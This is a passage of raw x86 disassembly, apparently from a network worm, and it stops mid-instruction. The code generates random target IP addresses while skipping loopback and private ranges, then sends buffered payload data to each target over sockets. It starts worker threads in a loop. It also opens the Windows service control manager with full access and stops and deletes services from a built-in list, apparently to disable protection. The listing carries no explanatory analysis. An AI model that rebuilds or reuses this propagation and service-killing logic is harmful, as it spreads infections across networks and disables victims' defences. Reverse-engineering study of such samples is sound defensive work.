		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_4408C9
		push	1B5Ah
		lea	eax, [ebp+var_1BDA]
		push	eax
		lea	eax, [ebp+var_8970]
		push	eax
		call	sub_4408C9
		push	70h
		push	offset sub_404807
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_4408C9
		push	0A5Eh
		lea	eax, [ebp+var_B46]
		push	eax
		lea	eax, [ebp+var_60A2]
		push	eax
		call	sub_4408C9
		push	84h
		push	404878h
		lea	eax, [ebp+var_55DE]
		push	eax
		call	sub_4408C9
		add	esp, 3Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_89D8]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0FDCh
		lea	eax, [ebp+var_6112]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43FD5B
		jmp	short loc_43FD5B
; ---------------------------------------------------------------------------

loc_43FCF5:				; CODE XREF: sub_43F725+4FAj
		push	7Ch
		push	404690h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_4408C9
		push	7D0h
		lea	eax, [ebp+var_68E2]
		push	eax
		lea	eax, [ebp+var_3FBD]
		push	eax
		call	sub_4408C9
		push	90h
		push	offset sub_40470D
		lea	eax, [ebp+var_37ED]
		push	eax
		call	sub_4408C9
		add	esp, 24h
		mov	[ebp+var_3342],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_4039]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2

loc_43FD5B:				; CODE XREF: sub_43F725+5CCj
					; sub_43F725+5CEj
		push	64h
		call	sub_44076D
		and	[ebp+var_3054],	0

loc_43FD69:				; CODE XREF: sub_43F725+216j
					; sub_43F725+258j ...
		push	2
		push	[ebp+var_54]
		call	sub_4405CD

loc_43FD73:				; CODE XREF: sub_43F725+1CEj
		push	[ebp+var_54]
		call	sub_440555

loc_43FD7B:				; CODE XREF: sub_43F725+53j
		mov	eax, [ebp+var_3054]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F725	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FD86	proc near		; CODE XREF: .data:loc_43FDFAp

var_32		= byte ptr -32h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	edi
		push	31h
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_440579
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43FDA2
		xor	eax, eax
		jmp	short loc_43FDBC
; ---------------------------------------------------------------------------

loc_43FDA2:				; CODE XREF: sub_43FD86+16j
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_44056D
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43FDB5
		xor	eax, eax
		jmp	short loc_43FDBC
; ---------------------------------------------------------------------------

loc_43FDB5:				; CODE XREF: sub_43FD86+29j
		mov	eax, [edi+0Ch]
		mov	esi, [eax]
		mov	eax, [esi]

loc_43FDBC:				; CODE XREF: sub_43FD86+1Aj
					; sub_43FD86+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_43FD86	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		call	sub_4406F5
		push	eax
		call	sub_440911
		mov	esi, 254h
		mov	eax, esi
		add	eax, 0Ah
		push	eax
		push	0
		call	sub_440731
		mov	ebx, eax
		push	esi
		push	4040BFh
		push	ebx
		call	sub_4408C9
		add	esp, 10h

loc_43FDFA:				; CODE XREF: .data:0043FE14j
					; .data:0043FE4Ej ...
		call	sub_43FD86
		mov	[ebp-10Ch], eax
		or	eax, eax
		jnz	short loc_43FE16
		push	384h
		call	sub_4408B1
		pop	ecx
		jmp	short loc_43FDFA
; ---------------------------------------------------------------------------

loc_43FE16:				; CODE XREF: .data:0043FE07j
		mov	al, [ebp-10Ch]
		mov	[ebp-111h], al
		mov	al, [ebp-10Bh]
		mov	[ebp-112h], al
		mov	al, [ebp-10Ah]
		mov	[ebp-135h], al
		cmp	byte ptr [ebp-111h], 7Fh
		jnz	short loc_43FE50
		push	384h
		call	sub_4408B1
		pop	ecx
		jmp	short loc_43FDFA
; ---------------------------------------------------------------------------

loc_43FE50:				; CODE XREF: .data:0043FE41j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F624
		push	0
		call	sub_4408B1
		add	esp, 8
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-134h], dl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-131h], dl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-132h], dl
		call	sub_4408ED
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-133h], dl
		mov	al, [ebp-133h]
		cmp	al, 5
		jnb	short loc_43FEED
		mov	al, [ebp-112h]
		mov	[ebp-134h], al
		mov	al, [ebp-133h]
		cmp	al, 3
		jnb	short loc_43FEED
		mov	al, [ebp-135h]
		mov	[ebp-131h], al

loc_43FEED:				; CODE XREF: .data:0043FEC9j
					; .data:0043FEDFj
		cmp	byte ptr [ebp-111h], 0Ah
		jnz	short loc_43FF22
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		movzx	eax, byte ptr [ebp-134h]
		push	eax
		push	404D49h
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440905
		add	esp, 14h

loc_43FF22:				; CODE XREF: .data:0043FEF4j
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0ACh
		jnz	short loc_43FF7C
		mov	al, [ebp-112h]
		cmp	al, 0Fh
		jbe	short loc_43FF7C
		cmp	al, 21h
		jnb	short loc_43FF7C
		call	sub_4408ED
		movzx	edi, byte ptr [ebp-132h]
		push	edi
		movzx	edi, byte ptr [ebp-131h]
		push	edi
		mov	edx, eax
		and	edx, 8000000Fh
		jge	short loc_43FF62
		dec	edx
		or	edx, 0FFFFFFF0h
		inc	edx

loc_43FF62:				; CODE XREF: .data:0043FF5Bj
		mov	edi, edx
		add	edi, 10h
		push	edi
		push	404D3Ch
		lea	edi, [ebp-130h]
		push	edi
		call	sub_440905
		add	esp, 14h

loc_43FF7C:				; CODE XREF: .data:0043FF2Ej
					; .data:0043FF38j ...
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0C0h
		jnz	short loc_43FFBC
		movzx	eax, byte ptr [ebp-112h]
		cmp	eax, 0A8h
		jnz	short loc_43FFBC
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		push	offset sub_404D2E
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440905
		add	esp, 10h

loc_43FFBC:				; CODE XREF: .data:0043FF88j
					; .data:0043FF96j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440591
		cmp	[ebp-10Ch], eax
		jz	loc_43FDFA
		push	dword ptr [ebp-10Ch]
		call	sub_44059D
		movzx	edi, word ptr ds:loc_404092+2
		push	edi
		push	eax
		push	404D27h
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_440905
		add	esp, 10h

loc_43FFFC:				; CODE XREF: .data:00440025j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh

loc_440005:				; CODE XREF: .data:0044000Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440005
		cmp	eax, 19h
		jz	short loc_440027
		push	404D25h
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_44091D
		add	esp, 8
		jmp	short loc_43FFFC
; ---------------------------------------------------------------------------

loc_440027:				; CODE XREF: .data:0044000Fj
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh

loc_440030:				; CODE XREF: .data:00440035j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440030
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, ebx
		add	edi, 9
		push	edi
		call	sub_4408C9
		add	esp, 0Ch
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440591
		push	esi
		push	ebx
		push	eax
		call	sub_43F725
		add	esp, 0Ch
		mov	[ebp-13Ch], eax
		push	0
		call	sub_4408B1
		add	esp, 4
		jmp	loc_43FDFA
; ---------------------------------------------------------------------------
		db 5Fh,	5Eh, 5Bh
		dd 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440080	proc near		; CODE XREF: .data:004400C2p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_440701
		cmp	eax, 80000000h
		jb	short loc_440097
		mov	eax, 3Ch
		jmp	short locret_4400B8
; ---------------------------------------------------------------------------

loc_440097:				; CODE XREF: sub_440080+Ej
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4405E5
		and	[ebp+var_4], 2
		cmp	[ebp+var_4], 2
		jnz	short loc_4400B3
		mov	eax, 12Ch
		jmp	short locret_4400B8
; ---------------------------------------------------------------------------

loc_4400B3:				; CODE XREF: sub_440080+2Aj
		mov	eax, 64h

locret_4400B8:				; CODE XREF: sub_440080+15j
					; sub_440080+31j
		leave
		retn
sub_440080	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_440080
		mov	ebx, eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401565h
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		xor	esi, esi
		jmp	short loc_44011B
; ---------------------------------------------------------------------------

loc_4400E9:				; CODE XREF: .data:0044011Dj
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401E23h
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		mov	eax, 0EA60h
		xor	edx, edx
		div	ebx
		mov	[ebp-8], eax
		mov	edi, eax
		push	eax
		call	sub_4408B1
		pop	ecx
		inc	esi

loc_44011B:				; CODE XREF: .data:004400E7j
		cmp	esi, ebx
		jb	short loc_4400E9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440126	proc near		; CODE XREF: sub_4403F5+ACp

var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 388h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_16C]
		lea	esi, loc_404A2F+9
		mov	ecx, 51h
		rep movsd
		and	[ebp+var_24], 0

loc_440149:				; CODE XREF: sub_440126+211j
		push	0F003Fh
		push	0
		push	0
		call	sub_440839
		mov	[ebp+var_28], eax
		or	eax, eax
		jz	loc_440330
		push	0F003Fh
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_370], eax
		push	[ebp+eax+var_16C]
		push	[ebp+var_28]
		call	sub_440845
		mov	ebx, eax
		or	eax, eax
		jz	loc_440328
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		push	ebx
		call	sub_440821
		mov	[ebp+var_4], eax
		and	[ebp+var_4], 0

loc_4401A1:				; CODE XREF: sub_440126+A4j
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		push	ebx
		call	sub_440821
		or	eax, eax
		jz	short loc_4401B7
		cmp	[ebp+var_1C], 1
		jnz	short loc_4401B9

loc_4401B7:				; CODE XREF: sub_440126+89j
		jmp	short loc_4401CC
; ---------------------------------------------------------------------------

loc_4401B9:				; CODE XREF: sub_440126+8Fj
		push	3E8h
		call	sub_44076D
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jb	short loc_4401A1

loc_4401CC:				; CODE XREF: sub_440126:loc_4401B7j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_374], eax
		cmp	[ebp+eax+var_168], 0
		jz	short loc_4401EA
		push	ebx
		call	sub_44082D

loc_4401EA:				; CODE XREF: sub_440126+BCj
		push	ebx
		call	sub_440815
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_378], eax
		cmp	[ebp+eax+var_164], 0
		jz	loc_440328
		mov	eax, 0Ch
		mu